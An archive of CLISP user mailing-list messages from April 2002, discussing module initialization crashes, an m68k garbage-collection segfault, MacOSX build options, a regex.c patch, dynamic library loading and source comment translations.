Subject: [clisp-list] modules initialization, package and crashes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 5 03:12:02 2002 X-Original-Date: Fri, 5 Apr 2002 13:10:58 +0200 Hi, CLISP's external modules are initialized very early while starting up. For instance, o init_streamvars() has not yet been called (setting *TERMINAL-IO* = etc.) o init_packages() has not yet been called when starting without -M o and many others as well... CLISP catches the attempt by modules to define Lisp functions (e.g. LISPFUN) in an unknown package (spvw.d:init_other_modules): { var object pack =3D = find_package(asciz_to_string(packname,O(internal_encoding))); if (nullp(pack)) # Package nicht gefunden? { asciz_out_ss(GETTEXTL("module `%s' requires package %s." = NLstring), module->name, packname); -> "module `mtest' requires package TESTCI." But it cannot do so for arbitrary objects, e.g. the symbol TESTCI::DECIDER that Peter Wood tries to use. It attempts to read them via a string-input-stream, so a package error is signaled. As init_streamvars() has not yet been called, a suberror follows about *TERMINAL-IO*. Why it crashes later on I don't know - it should not. It's not just a package problem. Any error signaled while reading the object_tab to initialize an object causes CLISP to die. I don't know why in the LISPFUN case an error is signaled instead of just creating a virgin package. Maybe because CLISP was not initialized far enough, maybe because that would have disturbed later FIND-PACKAGE checks in Lisp code. I don't know why init_other_modules_2() (esp. stream_read) etc. are called that early in the process. There may be excellent reasons for all these. Only Bruno Haible could = tell. I don't know what to do yet. Regards, J=F6rg H=F6hle. From will@misconception.org.uk Fri Apr 05 06:19:49 2002 Received: from cmailg4.svr.pol.co.uk ([195.92.195.174]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tUZA-0004J0-00 for ; Fri, 05 Apr 2002 06:19:48 -0800 Received: from modem-950.barrelled.dialup.pol.co.uk ([62.25.143.182] helo=there) by cmailg4.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16tUZ7-0005LZ-00 for clisp-list@lists.sourceforge.net; Fri, 05 Apr 2002 15:19:46 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Fwd: Re: Debugging crash on m68k Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 5 06:20:12 2002 X-Original-Date: Fri, 5 Apr 2002 15:21:03 +0100 clisp has been failing to build on m68k for Debian. A build log is here: http://buildd.debian.org/fetch.php?&pkg=clisp&ver=1%3A2.27-0.5&arch=m68k&stamp=1013020383&file=log&as=raw Erik is a Debian user who has been helping me figure out what is going on. Can anyone who has more familiarity look at his coments esp. the desire to disable garbage collection? I have poked the source but not seen any easy way to do this. Thanks ---------- Forwarded Message ---------- Subject: Re: Debugging crash on m68k Date: Thu, 4 Apr 2002 22:36:31 -0800 From: Erik van Roode To: Will Newton On Wed, Apr 03, 2002 at 02:36:03PM +0100, Will Newton wrote: > On Wednesday 03 Apr 2002 5:44 am, you wrote: > > #0 0x80003a0c in gc_mark () > > #1 0x801eb754 in object_tab () > > #2 0x80004ba0 in do_gar_col_simple () > > #3 0x80004bbe in gar_col_simple () > > #4 0x8005dfd4 in write_errorstring () > > #5 0x8001080e in funcall_subr () > > #6 0xc007ec00 in __libc_start_main () from /lib/libc.so.6 > > Thanks, this is a great start. Added some printf, first call to gar_col_simple succeeds, crash is during second crash. Looks like the first garbage collect messes up something. Program received signal SIGSEGV, Segmentation fault. gc_mark (obj=0x80064670) at spvw_garcol.d:262 262 switch (Record_type(dies)) played around with gdb, and obj=0x01 NULL pointer with some flags. I'm assuming clisp encodes some stuff in lower two bits of pointers. If it is the garbage collector, a run without any gc's should work. The the -m option doesn't seem to cause clisp to start with a bigger heap, and I don't see a 'disable gc' option. Any suggestions? Erik ------------------------------------------------------- From tom7ca@yahoo.com Fri Apr 05 06:49:29 2002 Received: from web11902.mail.yahoo.com ([216.136.172.186]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tV1r-0004xs-00 for ; Fri, 05 Apr 2002 06:49:27 -0800 Message-ID: <20020405144924.87133.qmail@web11902.mail.yahoo.com> Received: from [24.221.171.193] by web11902.mail.yahoo.com via HTTP; Fri, 05 Apr 2002 06:49:24 PST From: Tom Subject: Re: [clisp-list] problems building on MacOSX, and problems with the build process To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 5 06:52:35 2002 X-Original-Date: Fri, 5 Apr 2002 06:49:24 -0800 (PST) Thanks for the response. I tried: $ tar -zxvf ~/DOWN/clisp-2.28.tar.gz $ cd clisp-2.28 $ mkdir macbuild $ ./configure --with-no-dynamic-ffi macbuild Unfortunately, I get pretty much the same behavior: lots of errors in avcall-rs6000.c and the makefile disappears. Tom. --- Sam Steingold wrote: > > * In message <20020404032940.6942.qmail@web11904.mail.yahoo.com> > > * On the subject of "[clisp-list] problems building on MacOSX, and problems > with the build process" > > * Sent on Wed, 3 Apr 2002 19:29:40 -0800 (PST) > > * Honorable Tom writes: > > > > Trying to build CLISP on MacOSX breaks in the avcall package because > > the OSX asm syntax is different from that of other rs6000 systems. > > > > Is there any way of telling CLISP not to use avcall? I tried giving > > configure the "--without-avcall" option. Configure doesn't complain, > > but it still tries to compile "avcall" and fails. Would it even > > run without avcall? > > sure - no FFI. > > $ ./configure --with-no-dynamic-ffi > > > I'm also having a hard time just hacking CLISP. When I "configure" > > and "make" it, after it dies making itself in avcall, it doesn't > > notice that anything went wrong, removes (!) the toplevel makefile, > > and tells me to proceed to the second stage make process. After that, > > the source tree is in a mess: configure refuses to run again because > > bits and pieces of the previous configuration are still around, and > > "make" refuses to run because the top-level makefile is gone. That > > can't be how is it supposed to work; what am I missing? > > always build in a separate directory: > > $ ./configure build-dir > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > Keep Jerusalem united! > Read, think and remember! > The only thing worse than X Windows: (X Windows) - X > __________________________________________________ Do You Yahoo!? Yahoo! Tax Center - online filing with TurboTax http://taxes.yahoo.com/ From samuel.steingold@verizon.net Fri Apr 05 11:20:57 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tZGa-0003SB-00 for ; Fri, 05 Apr 2002 11:20:56 -0800 Received: from gnu.org ([151.203.48.85]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020405192010.CGML15947.out005.verizon.net@gnu.org>; Fri, 5 Apr 2002 13:20:10 -0600 To: Tom Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems building on MacOSX, and problems with the build process References: <20020405144924.87133.qmail@web11902.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020405144924.87133.qmail@web11902.mail.yahoo.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 5 11:21:12 2002 X-Original-Date: 05 Apr 2002 14:21:00 -0500 > * In message <20020405144924.87133.qmail@web11902.mail.yahoo.com> > * On the subject of "Re: [clisp-list] problems building on MacOSX, and problems with the build process" > * Sent on Fri, 5 Apr 2002 06:49:24 -0800 (PST) > * Honorable Tom writes: > > $ ./configure --with-no-dynamic-ffi macbuild $ ./configure --without-dynamic-ffi --build macbuild please send the last few lines - not just the error messages, but the commands issued by ./configure and echoed to the screen. PS. there is no such thing as "toplevel makefile". -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Are you smart enough to use Lisp? From samuel.steingold@verizon.net Fri Apr 05 12:52:25 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tah3-0006a6-00 for ; Fri, 05 Apr 2002 12:52:21 -0800 Received: from gnu.org ([151.203.48.85]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020405205214.OBMR2777.out011.verizon.net@gnu.org>; Fri, 5 Apr 2002 14:52:14 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] now you can use the regexp module on MS-Windows References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 5 13:04:18 2002 X-Original-Date: 05 Apr 2002 15:52:17 -0500 > * In message > * On the subject of "[clisp-list] now you can use the regexp module on MS-Windows" > * Sent on Wed, 27 Mar 2002 15:24:45 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: could you please try the current Emacs regex.c instead? thanks. > gdiff -c3 ../../orig/ regex.c > *** ../../orig/regex.c Wed Jul 22 22:22:47 1998 > --- regex.c Fri Mar 22 15:58:38 2002 > *************** > *** 211,218 **** > --- 211,223 ---- > #if HAVE_ALLOCA_H > #include > #else /* not __GNUC__ or HAVE_ALLOCA_H */ > + #ifdef _MSC_VER /* Microsoft VC */ > + #include > + #define alloca _alloca > + #else > #ifndef _AIX /* Already did AIX, up at the top. */ > char *alloca (); > + #endif /* not MS-VC */ > #endif /* not _AIX */ > #endif /* not HAVE_ALLOCA_H */ > #endif /* not __GNUC__ */ > gdiff -c3 ../../orig/ regexi.c > *** ../../orig/regexi.c Wed Jul 22 22:22:50 1998 > --- regexi.c Fri Mar 22 15:28:22 2002 installed - thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who don't know lisp are destined to reinvent it, poorly. From peter.wood@worldonline.dk Fri Apr 05 20:45:01 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ti4R-0002GF-00 for ; Fri, 05 Apr 2002 20:44:59 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 0F5EFB4DA; Sat, 6 Apr 2002 06:44:56 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g364Vk200412; Sat, 6 Apr 2002 06:31:46 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Cc: joerg-cyril.hoehle@t-systems.com Subject: Re: [clisp-list] dynamic loading of shared libraries/objects Message-ID: <20020406063145.A393@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Fri, Apr 05, 2002 at 09:50:08AM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 5 20:45:17 2002 X-Original-Date: Sat, 6 Apr 2002 06:31:45 +0200 Hi, On Fri, Apr 05, 2002 at 09:50:08AM +0200, Hoehle, Joerg-Cyril wrote: > Silly me, > > withholding dynload.d because of the low-level error reporting bug shouldn't prevent you from trying to compile the files on the various platforms (Linux, Solaris, HP, Mac etc.). > > So I'll be happy to receive feedback on: > 1. how dynload.d and especially sysdll.c (from XEmacs) compiles on all CLISP systems. > 2. the various comments in dynload.d > THANKS! On: Linux localhost.localdomain 2.4.5 #1 Fri Jun 22 23:12:44 CEST 2001 i586 unknown with a CVS clisp (about 10 days old). bash-2.04$ ./base/lisp.run -B . -q -norc -M base/lispinit.mem [1]> (load "dynex.lisp") ;; Loading file dynex.lisp ... # is a foreign pointer # is a foreign address # is a foreign function of foreign type (FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 23)) :OUT :ALLOCA) (:|arg2| (FFI:C-PTR FFI:ULONG) :IN-OUT :ALLOCA) (:|arg3| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 9)) :IN :ALLOCA) (:|arg4| FFI:ULONG :IN :NONE))) (:RETURN-TYPE FFI:INT :NONE) (:LANGUAGE :STDC)). ;; Loading of file dynex.lisp is finished. T [2]> This is extremely cool. I didn't compile it together with regex. I needed to add -DHAVE_DLOPEN to the CFLAGS for compiling sysdll.c, (otherwise, although it compiled fine, #'foreign-library would not work.). Also, I commented out the #else #error comments in dynload.d, since gcc didn't like them :-) Maybe I was forgetting something with cpp. Thanks again. (Joerg, I will be trying your mini-module in the bug report at sourceforge on an old version of Clisp. I will send you the results.) Regards, Peter From peter.wood@worldonline.dk Sat Apr 06 11:20:46 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tvjw-0005oE-00 for ; Sat, 06 Apr 2002 11:20:44 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 62F61B701 for ; Sat, 6 Apr 2002 21:20:40 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g36J6Q822215 for clisp-list@lists.sourceforge.net; Sat, 6 Apr 2002 21:06:26 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020406210626.A22186@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] results for early init-error patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 6 11:21:02 2002 X-Original-Date: Sat, 6 Apr 2002 21:06:26 +0200 Hi Sam, I tried the patch which you attached to Joergs's bug report at sourceforge. Two cases: bash-2.04$ ./base+testCI/lisp.run *** - READ from #: # has no external symbol with name "C-STRING" 1. Break> [error.d:305] cannot handle the fatal error due to a fatal error in the fatal error handler! Aborted (core dumped) bash-2.04$ ./base+testCI/lisp.run -M lispinit.mem *** - READ from #: there is no package with name "TESTCI" 1. Break [1]> [1]> Regards, Peter From samuel.steingold@verizon.net Sat Apr 06 12:18:16 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16twda-0007T2-00 for ; Sat, 06 Apr 2002 12:18:14 -0800 Received: from gnu.org ([151.203.48.85]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020406201817.XWNY16260.out002.verizon.net@gnu.org>; Sat, 6 Apr 2002 14:18:17 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] results for early init-error patch References: <20020406210626.A22186@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020406210626.A22186@localhost.localdomain> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 6 12:20:08 2002 X-Original-Date: 06 Apr 2002 15:18:22 -0500 > * In message <20020406210626.A22186@localhost.localdomain> > * On the subject of "[clisp-list] results for early init-error patch" > * Sent on Sat, 6 Apr 2002 21:06:26 +0200 > * Honorable Peter Wood writes: > > Sam, I tried the patch which you attached to Joergs's bug report at > sourceforge. Two cases: > > bash-2.04$ ./base+testCI/lisp.run > > *** - READ from #: # has no external symbol with name "C-STRING" > 1. Break> [error.d:305] cannot handle the fatal error due to a fatal error in the fatal error handler! > Aborted (core dumped) > bash-2.04$ ./base+testCI/lisp.run -M lispinit.mem > > *** - READ from #: there is no package with name "TESTCI" > 1. Break [1]> > [1]> okay - I take it that the patch does fix the stream bug. the errors above are not CLISP errors in the sense that, in the first case, without the memory image, there are no external symbols and you have to use two colons always, and, in the second case, you have to make sure (dunno how) that the package TESTCI is there. Joerg - please confirm my analysis and I will commit the patch. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! My inferiority complex is the only thing I can be proud of. From amundson@fnal.gov Sat Apr 06 15:47:15 2002 Received: from as1-132.chi.il.dial.anet.com ([198.92.156.132] helo=localhost.localdomain) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tztq-0001kb-00 for ; Sat, 06 Apr 2002 15:47:15 -0800 Received: (from amundson@localhost) by localhost.localdomain (8.11.6/8.11.6) id g36Nmoc11454; Sat, 6 Apr 2002 17:48:50 -0600 X-Authentication-Warning: localhost.localdomain: amundson set sender to amundson@fnal.gov using -f From: James Amundson To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" , Maxima List In-Reply-To: <3CAA6BE0.3156DC49@ieee.org> References: <3CAA6BE0.3156DC49@ieee.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1018132602.1582.4.camel@addiator> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.0.3 Subject: [clisp-list] Re: [Maxima] cparse Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 6 15:48:01 2002 X-Original-Date: 06 Apr 2002 17:48:50 -0600 Hi, That sounds great. Some future version of Maxima is going to require the ability to talk to c, even though the details haven't been worked out yet. I'm just following the developments with FFI's in the meantime. I have two questions: 1) Any chance of getting cparse to work with GCL? 2) Have you looked at the UFFI project? Best, Jim On Tue, 2002-04-02 at 20:41, Dan Stanger wrote: > I have made a first pass at getting cparse running on clisp. Cparse is > Tim Moore's program that > parses c headers, and generates cmucl and now clisp lisp code to call > the c functions. > I would appreciate any testing that could be done with this on clisp, I > have used it to parse > windows.h, the cygwin windows header file. > Dan Stanger > > _______________________________________________ > Maxima mailing list > Maxima@www.math.utexas.edu > http://www.math.utexas.edu/mailman/listinfo/maxima From peter.wood@worldonline.dk Sun Apr 07 05:46:47 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uC4D-0001q8-00 for ; Sun, 07 Apr 2002 05:46:45 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id DE22BB783 for ; Sun, 7 Apr 2002 14:45:35 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g37CWWB00782 for clisp-list@lists.sourceforge.net; Sun, 7 Apr 2002 14:32:32 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020407143231.A738@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] autoconf-2.52 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 7 05:47:04 2002 X-Original-Date: Sun, 7 Apr 2002 14:32:32 +0200 Hi, Are there problems using the new autoconf with avcall? I got lots of errors when I ran autoconf on avcall's configure.in. Regards, Peter From will@misconception.org.uk Sun Apr 07 06:17:28 2002 Received: from mail8.svr.pol.co.uk ([195.92.193.213]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uCXv-0006B6-00 for ; Sun, 07 Apr 2002 06:17:27 -0700 Received: from modem-1232.ballistic.dialup.pol.co.uk ([62.25.150.208] helo=there) by mail8.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16uCXt-0003Sc-00 for clisp-list@lists.sourceforge.net; Sun, 07 Apr 2002 14:17:26 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] autoconf-2.52 X-Mailer: KMail [version 1.3.2] References: <20020407143231.A738@localhost.localdomain> In-Reply-To: <20020407143231.A738@localhost.localdomain> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 7 06:18:07 2002 X-Original-Date: Sun, 7 Apr 2002 14:18:46 +0100 On Sunday 07 Apr 2002 1:32 pm, Peter Wood wrote: > Are there problems using the new autoconf with avcall? I got lots of > errors when I ran autoconf on avcall's configure.in. It builds OK with the Debian autoconf 2.53. From peter.wood@worldonline.dk Sun Apr 07 06:41:22 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uCv3-0002LE-00 for ; Sun, 07 Apr 2002 06:41:21 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 3D5B2B791 for ; Sun, 7 Apr 2002 15:41:12 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g37DS6305203 for clisp-list@lists.sourceforge.net; Sun, 7 Apr 2002 15:28:06 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] autoconf-2.52 Message-ID: <20020407152806.A5192@localhost.localdomain> References: <20020407143231.A738@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from will@misconception.org.uk on Sun, Apr 07, 2002 at 02:18:46PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 7 06:42:06 2002 X-Original-Date: Sun, 7 Apr 2002 15:28:06 +0200 On Sun, Apr 07, 2002 at 02:18:46PM +0100, Will Newton wrote: > On Sunday 07 Apr 2002 1:32 pm, Peter Wood wrote: > > > Are there problems using the new autoconf with avcall? I got lots of > > errors when I ran autoconf on avcall's configure.in. > > It builds OK with the Debian autoconf 2.53. > Thanks, with 2.52, too. I forgot -l. Regards, Peter From dan.stanger@ieee.org Mon Apr 08 14:40:06 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ugrt-0000mB-00 for ; Mon, 08 Apr 2002 14:40:05 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g38LdvV28029 for clisp-list@lists.sourceforge.net; Mon, 8 Apr 2002 15:39:57 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200204082139.g38LdvV28029@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] windows module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 8 14:41:01 2002 X-Original-Date: Mon, 8 Apr 2002 15:39:57 -0600 (MDT) I have written a awk program to convert windows function definitions to module c code, creates a function to call the windows function. Currently it only handles simple types, but I am writing another script to create code to assign structures. Does anyone have any interest in looking at the created module, to either make suggestions, or to check that my clisp conversion function choices are correct? Dan Stanger From dan.stanger@ieee.org Mon Apr 08 14:42:51 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uguZ-00016M-00 for ; Mon, 08 Apr 2002 14:42:51 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g38Lgn228143 for clisp-list@lists.sourceforge.net; Mon, 8 Apr 2002 15:42:49 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200204082142.g38Lgn228143@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] translations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 8 14:43:11 2002 X-Original-Date: Mon, 8 Apr 2002 15:42:49 -0600 (MDT) I found Stefan Kain's translations to be very helpful, however I was wondering if the original German comments could be kept in the file also. I had been using the sources to improve my understanding of German also. Dan Stanger From samuel.steingold@verizon.net Mon Apr 08 15:35:45 2002 Received: from out004slb.verizon.net ([206.46.170.16] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uhjk-00073r-00 for ; Mon, 08 Apr 2002 15:35:44 -0700 Received: from gnu.org ([151.203.48.85]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020408223551.CBIP21225.out004.verizon.net@gnu.org>; Mon, 8 Apr 2002 17:35:51 -0500 To: dan.stanger@ieee.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] translations References: <200204082142.g38Lgn228143@mantis.privatei.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200204082142.g38Lgn228143@mantis.privatei.com> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 8 15:36:05 2002 X-Original-Date: 08 Apr 2002 18:35:59 -0400 > * In message <200204082142.g38Lgn228143@mantis.privatei.com> > * On the subject of "[clisp-list] translations" > * Sent on Mon, 8 Apr 2002 15:42:49 -0600 (MDT) > * Honorable dan.stanger@ieee.org writes: > > I found Stefan Kain's translations to be very helpful, however I was > wondering if the original German 